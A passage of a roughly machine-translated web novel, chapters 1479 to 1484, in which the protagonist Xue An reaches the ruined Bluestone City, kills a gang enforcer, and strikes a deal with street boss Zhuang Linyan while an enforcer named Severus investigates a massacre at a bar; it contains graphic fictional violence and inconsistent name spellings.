    "Hey, where''s Andrew? Has he entered the bar?"


    The driver of the black car nodded, "Of course, I went in long ago!"


    Aretha wailed immediately, then turned around and shouted at the middle-aged man angrily.


    "It''s all because of your broken motorcycle that broke down halfway! Now everything is over!"


    The middle-aged man was also a little annoyed, "Aresha, you can insult me, but please don''t talk about my motorcycle!"


    "Why? Broken is broken, can''t it be said?" Aretha became more and more aggressive.


    "You..." The middle-aged man was speechless.


    Aretha shed a few sad tears at the Bear Bar.


    "Poor Andrew, why don''t you listen to it? It''s fine now, I guess you are already cold!"


    "Ahem!" The black car driver suddenly coughed a few times, and then said: "Aresha, are you worried about the boy just now? Then you don''t have to! Because just about three minutes before you came, the boy has already Riding Master Copet��s chariot and left!"


    "What?" Aretha exclaimed, "Are you sure you are not mistaken?"


    "Joke, who am I? How could I be mistaken! And he paid for my car before he left!" The black car driver raised the gear in his hand.


    Aretha''s eyes gradually widened, and she couldn''t wait to ask: "Then where did he go?"


    The driver of the black car shrugged, "I don''t know! But when he left, he asked me about the way to Bluestone City! Then he left!"


    "Bluestone City?" Aretha''s expression turned pale in an instant.


    "Yeah! Aretha, you are lucky, this adult is generous, and the gear given to me is enough for the car to go back and forth, so I don''t need you to accompany me! Goodbye!"


    After all, the driver of the black car drove away comfortably.


    The middle-aged man leaned over with a sullen face, "Aresha, anyway, that guy Andrew has gone, so why don''t we go back now, so that we can just rush home before the day [www.biqugew.xyz] lights up." !"


    While talking, the middle-aged man greedily looked at Aretha''s figure.


    Before the words finished, Aretha furious, "Get out! Get out of here! It''s all because of you that delayed me from seeing Andrew, you stupid groundhog, you still want to sleep with my mother?"


    Aretha is like a pungent big white goose, roaring with teeth and claws.


    The middle-aged man was blushing when he was scolded, and he backed back again and again. He wanted to have an attack, but he was afraid that he would startle the bear bar.


    "Irisa, your torn shoe, wait for me!"


    After all, he rode away on a motorcycle dingy.


    Only Aretha stood alone in despair, "Bluestone City..., Andrew, what are you doing there?"


    When the crimson moon gradually sinks to the west, the day of flames rises from the east, illuminating the world.


    The whole world woke up, and people began to busy themselves with food and clothing for this day.


    At this time, the blizzard bar fell silent, and the guests who had been tossing the whole night dispersed separately, and the liquor girls lay on the bed exhausted, closing their eyes and were about to fall asleep.


    But at this moment, a scream from the second floor broke this rare peace.


    The entire blizzard bar also boiled again with this scream.


    Originally suffering from insomnia, but because he had just drunk a glass of champagne, the bar manager Moritz, who was about to sink into a sweet dream, was also awakened by this scream, and then sat up furiously.


    "The gear **** is on top. If I catch this yelling bitch, I will cut off her tongue and make it into a bathroom doorknob!"


    Moritz walked out of the room angrily, and several of his men also rushed over at this time, silently following Moritz, who was about to explode, to the second floor.


    Just walking past the corner, the harsh scream stung Moritz''s eardrums.


    A waitress sat slumped in front of the door of the room at the end of the corridor, screaming hysterically.


    "Ah ah ah ah ah ah!"


    Moritz was so angry that he rushed forward a few steps and grabbed the waitress''s hair.


    "You **** bitch, did you know you interrupted Master Moritz''s dream?"


    The severe scalp pain stopped the waitress''s screams abruptly, but it didn''t mean that she had regained consciousness.


    She was shaking all over, and her throat made chuckles caused by excessive panic, like a hen waiting to be slaughtered watching a butcher walking with a knife.


    Moritz frowned slightly!


    This **** woman seemed to have been completely frightened.


    How is this going?


    Could it be Mr. Koppert that they have come up with any new tricks?


    As the director of the Bear Bar, he certainly knows who this box belongs to, and at the same time knows more about the cruel and perverted hobbies of Copet and others.


    But because Koppert has an intricate relationship with the boss behind him, Moritz has always chosen to ignore these things.


    Many times even tacit indulgence.


    After all, if you want beasts to work for you, you must first satisfy their desires.


    For this reason, Moritz has seen dead bodies transported from this box more than once in the past few years.


    Moritz is sometimes amazed by those weird and whimsical torture methodsOf course, this has also caused his employees to be scared more than once.


    But there has never been an overreaction like this waitress.


    Moritz felt a little puzzled, and then walked to the door.


    The door opened a small slit, apparently pushed open by the waitress.


    Although he hadn''t entered the door yet, he could smell the blood that was so nauseating.


    And there was a black stain on the carpet under the door, which was obviously a trace of the blood drying up.


    Moritz frowned!


    Sure enough, is it a bit too much?


    It seems that I should admonish this Mr. Koppert to constrain a little, after all, doing too much can easily cause unnecessary trouble.


    For example, now, with such a strong **** atmosphere, God knows what they did in it.

 Chapter 1479： The beast is coming out soon

    Thinking in his mind, Moritz pushed open the door without hesitation, then stepped in.


    It was dark in the room, and the smell of blood was even more powerful and straight through the nostrils.


    Moritz took out his handkerchief and covered his mouth and nose, and muttered: "Master Koppert, I''m sorry to interrupt your entertainment, but I want to ask, is there any help?"


    The words were very polite, but there was no response.


    Moritz''s brows wrinkled tighter!


    Could it be that you played too much last night? Still not awake?


    This kind of thing is not uncommon, so Moritz took a few steps forward.


    At this moment he suddenly realized that his feet were very slippery and sticky, as if stepping on a pool of slugs, extremely disgusting.


    The Gear God is up, what the **** are these guys doing? Moritz, who has a slight habit of cleanliness, slandered.


    But at this moment, Moritz stepped on a limp thing suddenly, caught off guard, he fell to the ground.


    At this time, his eyes have gradually adapted to the light in the room, so at the moment he fell to the ground, he suddenly found that right in front of his fall, he had his eyes wide open, and he had been dead for a long time. Corpse.


    With the gear **** on top, Moritz would certainly not be intimidated by a corpse.


    But the problem is that when he saw the appearance of the corpse, a chill suddenly emerged from the bottom of his heart, and the hairs all over his body were erected even more.


    Because he recognized the identity of this dead body, it was a villain under Copet, who was usually extremely arrogant and brutal.


    But now, the thug died with his eyes wide open and his face was full of horror.


    Moritz began to tremble all over, and then tremblingly said, "Master Koppert, are you... are you there?"


    Still no response.


    The room was terribly quiet.


    Moritz didn''t care about this expensive suit anymore. He got up from the ground tremblingly, almost rolling to the switch next to the door.


    Snapped!


    When the switch was activated, the weak alchemical energy resurrected along the line, and the soft incandescent light flooded the room.


    Then the picture that appeared before Moritz made the director of the blizzard bar, who thought he had seen countless brutality and bloodthirsty, and was already invincible, let out a terrified cry.


    I saw that the originally black sofa had been stained red with blood, and the carpet on the floor had become sticky and muddy because it had absorbed too much blood.


    The color of blood was everywhere, and under the shining of the incandescent lamp, the originally magnificent box became a slaughterhouse.


    That''s right!


    It is a slaughterhouse in the literal sense.


    I saw all the corpses lying on the ground and on the sofa.


    Without exception, these corpses were all penetrated by countless bullets.


    What is strange is that through all the traces, it can be seen that these people did not die at that time, but struggled for a while, and died in despair until the blood drained.


    And in the middle of the **** sea of ??corpse mountain, Kopet sits in the center like a hill. It is rare that there is no bullet hole on his body, but his left arm seems to be broken by some kind of giant force.


    But he was even more dead and couldn''t die anymore, because sitting on the sofa was just a headless corpse.


    And on the coffee table in front of the sofa, his huge head was placed on it very well.


    A trace of doubt still remained on Copet''s face, as if he didn''t believe that he would die so easily.


    And beside his head, there is his mechanical arm.


    It can be seen that the person who placed this was very calm, and even had a mood to sort out the position, and strive to be parallel to each other between his arms and head.


    But all this can only make Moritz feel deep fear, and the cold sweat drenched his clothes in an instant.


    At this time, the men who followed him also walked into the room, and then they were all stunned by the tragedy in front of them.


    "Master Moritz, Koppert..." someone stammered.


    Moritz leaned on the wall, took a few violent breaths, and then gradually recovered his calm, and said in a deep voice: "Quit all, then block here, no one can come in without my order!"


    "Yes!"


    Then Moritz turned and rushed to the supervisor''s office on the third floor.


    On the desk in this office is a skeleton of a bird.


    Moritz took a few deep breaths and tried to calm himself as much as possible, then picked up the flying bird, dipped its beak with some ink, and wrote a few words on the paper.


    "Kopet is dead, come quickly!"


    After writing, the skeleton of the flying bird trembled a few times, and then the words on the paper had disappeared like a miracle.


    Hyacinth is a simple and efficient communication tool, but because it is expensive, it is generally only used to deliver extremely important messages.


    It wasn''t until all this was done that Moritz slumped in a chair in relief, his face pale after being frightened.


    It was not until a long while later that he picked up the pipe tremblingly, but couldn''t light the tobacco leaves inside.


    Because there is only one thought in his mind.


    Something happened!


    Although Copet is a heinous bastard, he has a good relationship with his boss. Now that he is dead, his boss will never give up!


    In particular, the state of Copet''s death clearly carried the meaning of demonstration and warning.


    This will make the whole thing unmanageable!


    Because in this territory, no one dared to demonstrate to their boss like this!


    When the boss is angry, he will definitely do whatever it takes.


    Moritz''s eyelids jumped at the thought of the aftermath of the brutal beasts of his boss''s being released.


    The gear **** is on top, don''t get involved with me! Moritz prayed softly.


    And just when the blizzard bar was boiling because of the sudden death of Copet and others.


    Outside Bluestone City!


    Xue An drove this giant motorcycle to a halt slowly.


    In front of me is a decadent mechanical city.


    The huge buildings that used to be a tall skyscraper have lost their former glory, and some have even fallen to the ground and become ruins.


    There are huge claw marks on the black alloy city wall that are chilling, showing how dangerous the battle situation was.


    But this is also a prosperous city The city is full of traffic, and there are endless streams of assembled vehicles.


    And along the city walls, there are row upon row of slums that can''t be seen at a glance.


    On the side of the road, someone lit a bonfire with scrap tires, wearing metal punk clothes, and young people with full-body tattoos were looking dangerously at everyone who passed by.


    Like the rest of the world, this is a fallen city!


    Xue An''s mouth raised slightly, revealing a cold smile.


    He doesn''t like the taste, but everyone has the right to choose their own way of life.


    So Xue An never commented on these people or these things condescendingly.


    He has only one idea now, which is to find what he wants in this lost civilization as soon as possible.


    Therefore, he turned the accelerator and drove slowly into the city.

 Chapter 1480： Street Fight

    The area of ??Bluestone City is not too big, at least it can''t be compared with the big cities in the ghost world that easily cover tens of thousands of square kilometers, but even so, it is still divided into two areas, the inner city and the outer city.


    The inner city is filled with powerful and powerful people or powerful men with amazing strength.


    In the outer city, there is a mixture of fish and dragons, with a poor low-level populace, and villains from everywhere.


    In this chaotic and harsh environment, fighting is naturally inevitable.


    Sometimes just for the least valuable gear, the people here will fight, or even fight for life.


    To put it bluntly, those who can survive in this environment are destined to abandon the weak and become bloodthirsty.


    Cowardly or kind, it is difficult to survive in this place.


    Like now.


    Zhuang Linyan is facing a huge crisis.


    Since inheriting the inheritance of her brother, as the master of more than a dozen streets in the outer city, Zhuang Linyan can be regarded as a powerful party.


    Here is an introduction to the streets she ruled.


    Because it is relatively close to the inner city and the terrain is very important, a large number of people have gathered.


    Among them, many desperate women simply started to be street girls, and this has become the favorite place for those in the inner city when the upper class people have fun.


    This also directly contributed to the abnormal prosperity here.


    But abnormal prosperity is also prosperity, so soon, this place became a piece of fat that the big brothers in the outer city coveted.


    And Zhuang Linyan''s elder brother died in the fight because he protected his territory from infringement.


    But just when everyone thought that these dozen or so streets would change hands, Zhuang Linyan stepped forward, using thunder means to frighten those covetous eyes from everywhere, and then using iron and blood means to suppress the innermost feelings of people.


    Through these few hands, she miraculously controlled the situation and eventually became the only female boss in the outer city.


    After this, Zhuang Linyan began to vigorously reform, because she was more tolerant of her subordinates, especially strict orders not to allow them to bully those street girls, and the protection fee she charged was reduced by a notch.


    So she soon won the support of all the street ladies.


    But just when she will take care of her in an orderly manner, and her strength will also flourish.


    A huge crisis came suddenly.


    now.


    On a street, Zhuang Linyan led a team of men standing there.


    On the opposite side were dozens of burly, ugly-faced brawny men, and at the forefront of these brawny men was a man who had half his ears missing but was patched with metal.


    At this time, Zhuang Linyan took a deep breath, "Black Blade, what do you guys from the blood wolf gang want to do when they come to my site?"


    Hei Dao glanced at Zhuang Linyan, who was wearing a black trench coat and a graceful figure, and couldn''t help showing a smirk.


    "Hey, girl Zhuang, don''t you be so anxious! I''m here to bring my brothers to have fun, and second... I''m also bringing you a word for our boss!"


    "Your boss? Blood wolf? What does he want to say?" When the word blood wolf was mentioned, Zhuang Linyan''s eyes were boiling with murderous intent.


    Zhuang Linyan''s elder brother died in the hands of this blood wolf. Of course she could not forget such a deep hatred.


    "Hehe, our boss said that at this time tomorrow, he will gather a few big guys around him to have a banquet and talk about some things. I hope you can also participate!"


    "Buffet? Haha!" A sneer appeared on Zhuang Linyan''s face, "Do you think I have anything to discuss with your boss?"


    Hei Dao shrugged, "My boss knows you will react this way, so he said it!"


    "Say what?"


    "He said that as long as you surrender obediently and become his woman, then he can allow you to continue to manage these dozen streets, otherwise..."


    Before the words finished, the men behind Zhuang Linyan were already furious.


    "Fart! Your blood wolf gang is pure wishful thinking!"


    "Yes! If you have the ability, let me go! See if I don''t kill you **** wolf cubs!"


    These roars came and went one after another, but Zhuang Linyan was very calm, and raised her hand to stop the angry scolding from the people behind him, and then coldly looked at the black knife opposite.


    "Your boss really said that?"


    "Of course!" Hei Dao said lightly.


    "Okay, then you go back and tell him that I will definitely take off his head by myself!" Zhuang Linyan gritted her teeth.


    Hearing the words, the black knife showed a smirk, "Okay! She is indeed a heroine, but there is one thing I hope Miss Zhuang can figure out. Now we are going to deal with you... Not just our blood wolf gang!"


    This sentence caused Zhuang Linyan''s pupils to instantly shrink to the size of a pinpoint, because she was most worried about this.


    If she only relies on a blood wolf gang, she can still barely support it, but if there are others behind the blood wolf gang, the situation is too unfavorable!


    "What the **** do you mean?" Zhuang Linyan asked in a cold voice.


    "What do you mean? Hahahaha! The surname is Zhuang, let me tell you the truth, there is an adult in the inner city who is very dissatisfied with what you have done during this period of time. You can weigh the others by yourself!"


    Zhuang Linyan''s complexion suddenly turned pale when he heard these words of Lord Inner City.


    The subordinates standing behind her also changed.


    Hei Dao couldn''t help feeling even more proud when he saw this, and then licked his lips, hehe smiled: "So Ms. Zhuang, I hope you better understand this matter. After all...It''s just you people who want to help us with Blood Wolf. Doing it right is pure wishful thinking!"


    "But... if you can accompany me and my brothers today, then I can say something for you in front of my boss..."


    Before he could finish his words, Zhuang Linyan was furious, "Looking for death!"


    At the same time behind her, several men rushed up without hesitation.


    For their subordinates, Zhuang Linyan''s humiliation was like slapped their cheeks in public, so they were all angry at the moment.


    But they just rushed to the front, and the black knife smiled coldly, "all give me some blood!"


    As he retreated, the strong men behind him swarmed up, and the two sides fought together.


    There were no screams, only the sound of broken bones and skin being cut by sharp blades.


    However, after a breath, these Black Blade''s men retreated like a tide.


    However, all of Zhuang Linyan''s men collapsed to the ground, their muscles and bones broken, and they had already lost the ability to resist.


    This scene made Zhuang Linyan''s complexion gradually serious.


    Hei Dao looked at her with a smile on his face, and a small black dagger was shuttled between his fingers.


    "Miss Zhuang, think about it now..."

 Chapter 1481： 1 hit spike

    But before he could finish speaking, he was interrupted by a loud engine roar.


    Then the ground trembled, and there seemed to be a huge thing galloping.


    Everyone turned their heads to look around and saw a gray line suddenly appeared at the end of the empty street.


    Then, before everyone could react, a giant motorcycle rushed out of the gray dust curtain.


    The whole body of this motorcycle is streamlined, and the front is a huge alloy skull, which makes people shudder.


    Such an abnormality stunned everyone.


    at the same time.


    This giant motorcycle rushed straight forward at an almost crazy speed, and it was so powerful that everyone retreated.


    Bang!


    When the motorcycle had rushed to the front and back, it suddenly made a pretty big flick, and then it stopped firmly between the two sides that were facing each other.


    Only then did people see that the man driving this giant chariot was actually a handsome, handsome and temperamental teenager.


    This huge contrast shocked many people.


    At the same time, Xue An took off his goggles, looked up at the crooked two-story building on the side of the street, and said lightly: "Is this this place?"


    With that, he turned over and got off the motorcycle, and walked towards the two-story building.


    From beginning to end, Xue An didn''t look at the people who were facing each other, as if they were just air.


    This small building was asked by Xue An from Copet, a place where he often lived when he came to Bluestone City.


    At this time, there is still more than half a month before the trade fair mentioned by Copet, so Xue An plans to stay here for a few days first.


    But at this time, Hei Dao and others were standing right in front of this small building, so Xue An walked towards him.


    In fact, from the moment Xue An appeared on the court, the black knife was looking at Xue An.


    When he noticed Xue An''s motorcycle, he immediately decided that he should be a rogue.


    This is a straggler who wanders outside the forces of all parties. It is extremely vicious and unspeakable. Whoever gives the money will do things for whom.


    This wasn''t a big deal at first, but Xue An''s attitude completely angered Black Knife.


    Especially when Xue An came face-to-face with a face full of indifferent, it made the black knife full of anger.


    "The surname is Zhuang, I didn''t expect you to hire a foreign aid! But don''t you think that this lady-like guy is a fool who knows nothing?"


    The black knife grinned at Zhuang Linyan, then raised his hand, the black dagger in his hand turned into a stream of light, and it pierced towards Xue An.


    The speed was so fast that it even issued a harsh scream.


    This is the stunt that the black knife is famous for. A black knife can be said to have no bullets, even more powerful than a firearm.


    Although Zhuang Linyan was also dazed, she didn''t know who this young man who appeared suddenly was.


    But since he rushed to the black knife and the others, he was naturally a friend, so she couldn''t help but yelled.


    "Be careful!"


    But as soon as the voice fell, she was stunned by the scene in front of her.


    Seeing Xue An slowly raising his hand, there was the black dagger between the two fingers.


    At this moment, this black dagger trembled lightly.


    And everyone''s eyes gradually widened.


    No one knows how he did it.


    Because during this whole process, Xue An was so indifferent, and even downplayed it as if the dagger had taken the initiative to fly into his hands.


    The expression on Hei Dao''s face gradually became serious.


    He has absolute confidence in his flying knives, so he can''t figure out how this young man did it.


    At this moment, Xue An said lightly to him: "Is this dagger yours?"


    Hei Dao was startled, and then nodded slightly, "I am Hei Dao, deputy head of the Blood Wolf gang, friend you..."


    He had a good plan, and he first reported his family, and in this way, he reminded the boy that the matter was very deep.


    Then I will say a few more on-the-spot remarks to cover Xue An''s details.


    Unexpectedly, Xue An did not listen to his nonsense at all, just nodded slightly, "Since it is yours, I will give it back to you now!"


    As he said, Xue An waved casually.


    call!


    The whole street seemed to be a sudden gust of wind.


    As soon as this black dagger left Xue An''s hand, it took the wind and thunder and blasted the black knife and the others in an extremely violent posture.


    The speed is so fast that even this dagger is close to a melted state.


    Faced with such power, Black Blade and his gang were all frightened.


    Especially Black Knife, his eyes showed infinite horror, and then he tried to turn around and escape.


    But at this time, he was extremely shocked to find that he was already unable to move anymore.


    This made him let out a scream, "No..."


    But before the voice was over, I saw this dagger blasting towards him.


    puff!


    This dagger, which had melted into a liquid state, came out directly, blasting the entire body of the black knife to shreds.


    And this is just the beginning.


    Because of the black knife''s barrier, this dagger was completely scattered, and countless hot liquid metal spread out, enveloping these brawny men.


    Puff puff!


    With a muffled noise, these men before they could react, they all exploded to pieces.


    at last!


    The blood mist gradually dissipated, and the pieces of flesh and blood that were blown up to the sky also fell.


    Hearing a crisp sound, a metal half of the ear fell under Zhuang Linyan''s feet.


    Zhuang Linyan and everyone are already silly.


    The blood wolf gang''s deputy head Black Saber who was standing in front of him just now died like this?


    And he died under his own dagger, and he didn''t even leave his body.


    This fact was too terrifying, so Zhuang Linyan and others were all caught in shock for a while and couldn''t help themselves.


    At this time, Xue An shook his head slightly, "It''s too weak, it seems that next time I can''t even use half of my strength!"


    That''s right!


    Xue An just waved his hand casually, using only half of his strength.


    But it was such an understatement of the half-strength, but it had such a huge destructive power, and even killed the black knife and others in a single blow.


    After all, Xue An stepped across this blood-soaked road and walked straight into the two-story building.


    From beginning to end, he never saw Zhuang Linyan and others.


    And until his figure had disappeared in this small building on the street Zhuang Linyan and others breathed a sigh of relief.


    Because Xue An''s power is too strong, everyone who oppresses can''t breathe.


    "Zhuang...Sister Zhuang, the black knife is dead, and the blood wolf gang will definitely not give up. What shall we do next?" Some subordinates looked at the **** streets and asked bitterly.


    Everyone is also horrified.


    Yes!


    The Black Blade is dead, but the Blood Wolf Gang will never let it go easily.


    And if the Blood Wolf Gang took this opportunity to attack with all its strength, it would be difficult for them to be the opponent of the Blood Wolf Gang alone.


    At this time, Zhuang Linyan retracted his gaze from the small building, and then took a deep breath, "You are waiting here. Without my order, no one can come in. At the same time, the news that the black knife and others are dead is sealed!"


    "Yes!"


    Then Zhuang Linyan tidyed up her clothes, put on a bright smile on her face, and walked to the small building.

 Chapter 1482： 1 deal to run the villain

    Although he is in charge of more than a dozen nearby streets, Zhuang Linyan has not been in this small building in the future.


    Until this time, Zhuang Linyan couldn''t help but be surprised secretly.


    Because it is different from the run-down outside, the interior of this small building is very luxurious. Even the crumbling walls are made of metal.


    To put it bluntly, the whole small building is as strong as a fortress.


    Although the front and back feet walked in, after entering the hallway, the living room was empty, and Xue An was not seen.


    Zhuang Linyan''s heart was shaken, but she quickly took a deep breath and said: "This friend, I have no intentions here. I just want to talk to you about something, so please see me!"


    no respond.


    I could hear my heartbeat quietly in the small building.


    But just as Zhuang Linyan was about to continue shouting, a calm voice came from behind her.


    "Ok?"


    This sudden sound made Zhuang Linyan''s hairs stand up, and turned around in a hurry, but saw that the boy was leaning on the door frame at this moment, looking at herself playfully.


    If he hadn''t witnessed the scene where he killed Black Blade and others with his own eyes, it would be hard for Zhuang Linyan to believe that such a clean and beautiful boy would have such a powerful strength.


    After being swept by Xue An''s gaze, Zhuang Linyan''s heart suddenly felt a trace of inexplicable panic and despair.


    At that moment, Zhuang Linyan even felt like an ant, facing an ancient giant who controlled his life and death.


    Fortunately, Xue An quickly narrowed his gaze.


    Zhuang Linyan let out a sigh of relief, and then stammered: "Big...sir, I''m sorry to disturb you, but I do have something very important to discuss with you..."


    Before she could finish speaking, Xue An suddenly said: "Those who just died are enemies with you, right?"


    Zhuang Linyan gaped, "Yes...yes!"


    But soon, she hurriedly explained: "But sir, I and them..."


    A faint smile appeared at the corner of Xue An''s mouth and waved his hand gently.


    "Do you know why you can stand here and talk to me peacefully, but those few people have no place to bury?"


    "Because I can feel that the hands of the dead guys are all covered with blood, and you are different! So..."


    Xue An gave Zhuang Linyan a deep look, "You should be thankful that you are a good person!"


    Zhuang Linyan has never been so fortunate that the gear **** is on top.


    Because she could feel the killing intent in Xue An''s tone, which made her believe that if this young man wanted to, he could easily kill himself and even destroy everything.


    At this time, Xue An walked to the fireplace, sat on the large leather sofa, and said slowly: "Let''s talk, what''s the matter with me!"


    Zhuang Linyan took a deep breath, looked more respectful than before, and said in a deep voice: "My lord, please allow me to introduce myself first. My name is Zhuang Linyan. I am the master of more than a dozen nearby streets!"


    Speaking of this, Zhuang Linyan glanced at Xue An, who was sitting on the sofa, and found that he had no expression and seemed to be listening quietly.


    So she gritted her teeth secretly, and then said: "The blood wolf gang''s deputy leader Hei Dao and others were the ones who were just destroyed by you! And this blood wolf gang is a gang that hates me deeply!"


    Next, Zhuang Linyan briefly talked about the grievances between herself and the Blood Wolf Gang. After she finished speaking, she raised her head and looked at Xue An with bright eyes.


    "My lord, this black knife was sent by the leader of the Blood Wolf gang, and he came here to write me a book so that I can go to the so-called banquet tomorrow!"


    "But there is an insoluble grievance between me and the Blood Wolf Gang. My brother died at the hands of the blood wolf gang leader, but because the blood wolf gang is powerful and has the support of the big inner city behind it, I I can''t help him!"


    "The so-called banquet this time is also a trap set by the Blood Wolf Gang, in order to unite with the many big men in the outer city, use force to suppress others and force me to surrender these dozen streets!"


    Xue listened quietly, suddenly chuckled, and interrupted Zhuang Linyan, who was full of excitement, "But what does it have to do with me if you say so much?"


    Zhuang Linyan''s face was solemn, "It didn''t matter at first, but after you killed the deputy head of the Blood Wolf Gang, Black Sword, it will matter!"


    Xue An raised his eyebrows slightly and said with a smile, "What? Are you threatening me with this?"


    Zhuang Linyan shook her head, "Of course not, I just want to make a deal with an adult!"


    "transaction?"


    "Yes, it''s a deal!" Speaking of this, Zhuang Linyan gave Xue An a deep look and said in a deep voice.


    "If I''m not mistaken, the lord should be a runaway... disciple!"


    Zhuang Linyan wanted to say that the villain was running away, but he didn''t feel right when he reached his lips, and then he cancelled the evil word.


    "So what?" Xue An said lightly.


    After these few days of understanding, Xue An has probably learned about some conditions in this world.


    The so-called violent gangsters refer to people who wander among the various forces and earn commissions by taking on tasks.


    To put it bluntly, these people are just like the swordsmen on the rivers and lakes of ancient China, they can do anything for money.


    Obviously, this Zhuang Linyan mistook herself for a runaway villain.


    But Xue An didn''t intend to explain, but looked at Zhuang Linyan quietly.


    Zhuang Linyan was excited.


    Because with Xue An''s previous strength, he was obviously a high-ranking rogue villain, and such an existence generally rarely appeared in fringe cities like Bluestone City.


    But this time I came across that can only be said to be God''s will.


    So she said without hesitation: "It''s very simple, I want to hire you to do something for me!"


    "Exterminate the Blood Wolf Gang?" Xue An said lightly.


    Zhuang Linyan shook her head, "How easy is that? The Blood Wolf Gang is a big gang with many members. Although you are a great gang, you can''t destroy a big gang with your own power! I just want to hire you to accompany me to participate in the blood tomorrow. The banquet of the wolf gang, and then..."


    A look of cruelty appeared in Zhuang Linyan''s eyes, "Kill the blood wolf gang leader!"


    Xue An smiled, "It sounds simple, but my appearance fee is very expensive. I don''t know what price you can pay?"


    Zhuang Linyan looked decisive, "As long as you can help me achieve this, I can give everything I can!"


    "Do you include yourself?" Xue An said leisurely.


    Zhuang Linyan became stiff and pale, but he nodded her head, "If you need it, I have no problem!"

 Chapter 1483： Night watchman

    Xue An smiled, "Is it really worth sacrificing myself in order to kill the enemy?"


    Zhuang Linyan said without hesitation: "It''s worth it!"


    Xue An nodded, and suddenly asked, "Do you know the trade fair?"


    The rapid jump on this topic made Zhuang Linyan startled, and then nodded, "Of course I know!"


    "Let''s talk about it!" Xue An said with interest.


    Although I don''t understand why Xue An is so interested in this trade fair, Zhuang Linyan answered honestly.


    "A trade fair is held every year in Bluestone City. At that time, hunters from various wildernesses, mine owners, and even some lucky winners who find some ancient ruins will come to Bluestone City to make deals!"


    Of course, Xue An knows all these things, but at this time Zhuang Linyan changed the conversation and said solemnly.


    "But these are just the most superficial appearance of the trade fair! In fact, the real essence is in the inner city. On that day, there will be a secret auction in the inner city, and the real trades in it are the real ones. Boutique!"


    "Oh? Auction?" Xue An''s eyes lit up.


    "Yes! And sometimes there will be high-ranking alchemists appearing at this auction! Big figures from all sides will gather there!"


    "I heard you say that, you seem to have participated?" Xue An smiled lightly.


    Zhuang Linyan looked sad, lowered her head and said sadly: "When my brother was alive, I used to go to auctions with him!"


    "Okay! I can promise you the deal you mentioned before, but the condition is that I will appear at the venue on the day of the auction. Do you understand this?" Xue An said lightly.


    Zhuang Linyan was taken aback, apparently a little confused why Xue An wanted to do this, but she soon woke up, and then nodded heavily.


    "Good! I promise it can be done!"


    After Zhuang Linyan walked out of the small building, the subordinates who had blocked the entire street hurriedly greeted him.


    "Sister Zhuang, are you okay!"


    These subordinates are very worried. After all, the strength that Xue An has shown just now is obvious to all. Zhuang Linyan went to him alone, and the dangers can be imagined.


    Zhuang Linyan shook her head, "I''m fine! Is there anything wrong?"


    "Sister Zhuang, don''t worry! Now the whole street is our people, no news has been revealed!"


    Zhuang Linyan nodded in satisfaction, then turned to look at the blood-stained street, and said solemnly, "Clean up here immediately, without leaving a trace of blood!"


    "Yes!"


    "Also, let the wind go out, just say that the deputy head of the blood wolf gang, Black Blade, went to our bar to drink and enjoy, and then was too drunk to drink, and was already drunk!"


    These subordinates looked at each other, immediately understood something, and nodded in response.


    "understand!"


    "Go, do something like a little, don''t let outsiders doubt it!"


    quickly.


    The whole street was thoroughly cleaned, and the blood stains disappeared quickly under the washing of clear water.


    Then the heavily guarded street gradually returned to calm.


    Zhuang Linyan checked it again in person, and then left with satisfaction.


    She is very busy now.


    Although she has reached a deal with Xue An, she has grown up in a dangerous environment since she was a child. Of course, she will not pin all her hopes on one person.


    So in order to ensure that there is nothing wrong with tomorrow''s banquet, she now has to prepare intensively.


    At the same time, Xue An, who was standing in front of the second-floor window, looked down at the street that was calm on the surface, but turbulent in the dark.


    He could easily see that those people who wore ordinary clothes and walked around aimlessly were actually well-trained gang children.


    Especially beside his motorcycle, there are several people staring at it. Any curious person who wants to come forward will be driven away by these people with a calm expression.


    If one sentence is used to describe the street at this moment, it is loose on the outside and tight on the inside.


    But Xue An, who had witnessed all this, showed a faint smile.


    This Zhuang Linyan... is interesting!


    From the performance of these subordinates, we can see that this Zhuang Linyan''s methods are quite good.


    Otherwise these people would not be so capable.


    This can''t help Xue An''s interest in tomorrow''s banquet.


    at the same time.


    In the blizzard bar, thousands of miles away from Bluestone City, the atmosphere is unprecedentedly solemn.


    In front of the bar, the bar manager Moritz looked pale and kept wiping the cold sweat from his face, but even so, he did not dare to leave here for half a step.


    Because of the news that I just received, the person investigating Kopet''s death is about to come to the Bear Bar, and it is Severus, the night watchman.


    After seeing the news, Moritz almost fainted.


    Because he knew very well that even among the villains under the boss, Severus, the night watchman, was a well-deserved king among them.


    Whether it is strength or brutality, it is enough to make people tremble after thinking about it.


    So even though Severus arrived early, Moritz had already arrived in front of the bar and started waiting.


    And his panic also infected everyone in the Bear Bar.


    No one dared to speak, everyone stood honestly behind Moritz, waiting for the night watchman to arrive.


    at last.


    With a continuous screaming, a very peculiar aircraft rushed out of the darkness at a very fast speed and arrived in front of the Bear Bar.


    The moment the aircraft stopped, Moritz hurriedly greeted him.


    At the same time, the door of the aircraft was also opened, and a middle-aged man in a suit and leather shoes walked down from above, his hair was meticulously combed, and his face was pale.


    This middle-aged man has an elegant temperament like a decent housekeeper, with a black suitcase in his hand, looks more like a vacation.


    But when he saw this middle-aged man, the fat on Moritz''s face was trembling, and he lowered his head in horror, and said, "Moritz, I have seen Master Severus!"


    The middle-aged man showed a slight smile!


    It is strange that when he laughed, the elegance and calmness he had before disappeared instantly, and the whole person seemed to be transformed into a mob in the dark, with evil spirits and madness on his face.


    Then he stretched out his right hand with leather gloves and patted Moritz on the head lightly.


    "Moritz, you are fat again! It seems that the boss made you feel a little too comfortable here!"


    Every time he patted his hand, Moritz would tremble all over, and then smiled forcefully, "Yes, Severus, I will definitely lose weight!"


    "Very good! I hope that next time I see you, you will have lost weight, otherwise I will cut off your fat face and make it into a toilet without hesitation!"

 Chapter 1484： Back in the past

    Moritz was pale, with cold sweat on his forehead.


    "Hahaha, Moritz, don''t you really believe it! I am teasing you! Why are you so scared?" Severus laughed.


    Moritz hurriedly followed to laugh, but his smile was uglier than crying.


    Because he couldn''t tell whether Severus was joking or serious.


    He didn''t want to try!


    Because everyone who challenged the patience of the night watchman died, and died miserably!


    At this moment, Severus suddenly reduced his smile, "What are you laughing at?"


    "Ah, I..." Moritz was startled.


    Severus stepped forward at this time, "Let''s go, and look at this poor Copet first!"


    Moritz took a breath and hurriedly followed.


    Corridor on the second floor.


    Although he hadn''t walked into the room at the end, when he came to this corridor, Severus''s face was already fascinated.


    "What a refreshing **** smell! I haven''t smelled such a strong fragrance for a long time!"


    In fact, because it has been one day since the death of Koppert and others, the body has begun to smell slightly.


    The smell of corpse was mixed with blood, enough to make people sick.


    But in Severus''s eyes, it was an extremely wonderful fragrance.


